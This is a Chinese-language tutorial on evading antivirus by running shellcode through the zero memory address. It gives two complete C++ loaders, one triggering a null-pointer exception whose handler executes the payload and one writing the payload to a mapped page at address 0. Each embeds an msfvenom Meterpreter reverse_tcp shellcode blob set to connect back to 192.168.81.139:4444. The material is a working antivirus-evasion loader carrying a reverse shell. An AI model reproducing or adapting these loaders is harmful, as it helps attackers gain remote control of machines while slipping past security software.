免杀动态内存检查

本文所有内容均为胡编乱造，如有不正确的地方，随时私信。

实现原理：

0地址通常不可访问，根据这一特性，部分杀软不会检查此处内存，从而绕过部分杀软。

方案一：利用异常处理执行shellcode

0地址的属性

通常情况下0地址不可访问，大小为10000

C0000005访问冲突错误

异常处理

异常处理函数执行shellcode

// 1211.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

//msfvenom - p windows/meterpreter/reverse_tcp lhost = 192.168.81.139 lport = 4444 - f c

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\x8b"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

LPVOID Memory;
int ExceptFilter()
{
	((void(*)())Memory)();
	return EXCEPTION_CONTINUE_EXECUTION;
}

int main(int argc, char* argv[])
{
	UINT ShellCodeSize = 0;

	ShellCodeSize = sizeof(buf);

	Memory = VirtualAlloc(NULL, ShellCodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buf, ShellCodeSize);

	int* p = 0x00000000;
	_try
	{
		*p = 13;
	}
	_except(ExceptFilter())
	{
	};

	system("pause");
    return 0;
}

方案二：向0地址写入shellcode

如何访问0地址而不报错

给0地址分配物理页。

如何给0地址挂物理页

1. 写内核模块进行操作
2. windbg手动修改

手动调整0地址物理页

执行代码

// test2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

#include <stdlib.h>
#include <windows.h>
#include <stdio.h>

int _tmain(void)
{
	char * buf = (char*)VirtualAlloc(NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    
	unsigned char shellcode[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\x8b"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";


	memcpy(buf,shellcode,sizeof(shellcode));

	char* p = (char*)0;
	printf("%x\r\n",buf);
	system("pause");

	memcpy(p,shellcode,sizeof(shellcode));
	
	typedef void (__stdcall *FunctionProc)();
	
	HMODULE h = GetModuleHandleA("ntdll.dll");
	FunctionProc func = (FunctionProc)GetProcAddress(h,"123123");
	func();
	system("pause");
	return 0;
}

注释：

• 逻辑地址 - 线性地址 - 物理地址之间的转换。
• 物理页定义。
• 10-10-12分页。